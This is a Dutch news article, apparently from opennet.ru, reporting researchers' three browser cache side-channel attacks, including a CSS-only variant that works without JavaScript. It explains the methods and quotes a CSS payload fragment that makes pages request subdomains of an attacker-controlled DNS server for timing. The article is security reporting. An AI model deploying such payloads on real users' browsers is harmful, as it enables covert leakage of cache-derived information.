CPU-cache-extractie-aanval geïmplementeerd in een webbrowser zonder JavaScript

Een team van onderzoekers van verschillende Amerikaanse, Israëlische en Australische universiteiten heeft drie aanvallen ontwikkeld die op webbrowsers worden uitgevoerd om informatie over de inhoud van de processorcache te extraheren. Eén methode werkt in browsers zonder JavaScript, en de andere twee omzeilen bestaande beschermingsmethoden tegen zijkanaalaanvallen, waaronder die welke worden gebruikt in de Tor-browser en DeterFox. De code voor het demonstreren van de aanvallen, evenals de servercomponenten die nodig zijn voor de aanvallen, worden gepubliceerd op GitHub.

Om de inhoud van de cache te analyseren, gebruiken alle aanvallen de Prime+Probe-methode, waarbij de cache wordt gevuld met een standaardset waarden en veranderingen worden gedetecteerd door de toegangstijd daartoe te meten bij het opnieuw vullen ervan. Om de beveiligingsmechanismen in browsers te omzeilen die een nauwkeurige tijdmeting verstoren, wordt er op twee manieren een beroep gedaan op een DNS- of WebSocket-server die wordt beheerd door de aanvaller, die een logboek bijhoudt van de tijd van de ontvangen verzoeken. In één uitvoeringsvorm wordt een vaste DNS-responstijd gebruikt als tijdreferentie.

Metingen gedaan met behulp van externe DNS- of WebSocket-servers, waarbij gebruik werd gemaakt van een classificatiesysteem op basis van machine learning, waren voldoende om waarden te voorspellen met een nauwkeurigheid tot 98% in het meest optimale scenario (gemiddeld 80-90%). De aanvalsmethoden zijn getest op verschillende hardwareplatforms (Intel, AMD Ryzen, Apple M1, Samsung Exynos) en universeel gebleken.

CPU-cache-extractie-aanval geïmplementeerd in een webbrowser zonder JavaScript

De eerste variant van de DNS Racing-aanval maakt gebruik van een klassieke implementatie van de Prime+Probe-methode met behulp van JavaScript-arrays. De verschillen komen neer op het gebruik van een externe DNS-gebaseerde timer en een onerror-handler, die wordt geactiveerd wanneer wordt geprobeerd een afbeelding van een niet-bestaand domein te laden. Een externe timer maakt een Prime+Probe-aanval op browsers mogelijk die de toegang tot JavaScript-timers beperken of volledig uitschakelen.

Voor een DNS-server die zich op hetzelfde Ethernet-netwerk bevindt, wordt de nauwkeurigheid van de timer geschat op ongeveer 2 ms, wat voldoende is om een ​​zijkanaalaanval uit te voeren (ter vergelijking: de nauwkeurigheid van de standaard JavaScript-timer in Tor Browser is teruggebracht tot 100 ms). Voor de aanval is controle over de DNS-server niet vereist, omdat de uitvoeringstijd van de operatie zo wordt geselecteerd dat de responstijd van de DNS dient als teken van een eerdere voltooiing van de controle (afhankelijk van of de onerror-handler is geactiveerd vroeger of later wordt een conclusie getrokken over de snelheid van de controleoperatie met de cache).

De tweede aanvalsmethode, "String and Sock", heeft tot doel beveiligingstechnieken te omzeilen die het gebruik op laag niveau van arrays in JavaScript beperken. In plaats van arrays gebruiken String en Sock bewerkingen op zeer grote strings, waarvan de grootte zo wordt gekozen dat de variabele de volledige LLC-cache (Last Level Cache) bestrijkt. Vervolgens wordt met behulp van de functie indexOf() naar een kleine substring in de string gezocht, die aanvankelijk afwezig is in de bronstring, d.w.z. de zoekbewerking resulteert in iteratie over de hele reeks. Omdat de lijngrootte overeenkomt met de grootte van de LLC-cache, kunt u met scannen een cachecontrole uitvoeren zonder de arrays te manipuleren. Om vertragingen te meten, wordt in plaats van DNS een oproep gedaan naar een WebSocket-server die wordt beheerd door de aanvaller. Voor en nadat de zoekactie is voltooid, worden er queries in de lijn verzonden, op basis waarvan de server de vertraging berekent die wordt gebruikt om de cache te analyseren inhoud.

De derde variant van de “CSS PP0”-aanval wordt geïmplementeerd via HTML en CSS en kan werken in browsers waarin JavaScript is uitgeschakeld. De methode is vergelijkbaar met "String and Sock", maar is niet gebonden aan JavaScript. Tijdens de aanval wordt een reeks CSS-selectors gegenereerd die op masker zoeken. De aanvankelijke grote tekenreeks die de cache vult, wordt ingesteld door een div-tag te maken met een zeer grote klassenaam. Binnenin bevindt zich een reeks andere div's met hun eigen identificatiegegevens. Elk van deze geneste div's heeft zijn eigen stijl met een selector die naar een subtekenreeks zoekt. Bij het renderen van een pagina probeert de browser eerst de binnenste divs te verwerken, wat resulteert in een zoekactie op een grote rij. De zoekopdracht wordt uitgevoerd met behulp van een opzettelijk ontbrekend masker en leidt tot iteratie over de hele regel, waarna de ‘niet’-voorwaarde wordt geactiveerd en wordt geprobeerd een achtergrondafbeelding te laden die verwijst naar willekeurige domeinen: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomeinen worden bediend door de DNS-server van de aanvaller, die vertragingen bij het ontvangen van verzoeken kan meten. De DNS-server geeft voor alle verzoeken NXDOMAIN uit en houdt een logboek bij van het exacte tijdstip van de verzoeken. Als gevolg van het verwerken van een reeks div's ontvangt de DNS-server van de aanvaller een reeks verzoeken, waarvan de vertragingen correleren met het resultaat van het controleren van de cache-inhoud.

CPU-cache-extractie-aanval geïmplementeerd in een webbrowser zonder JavaScript


Bron: opennet.ru

Voeg een reactie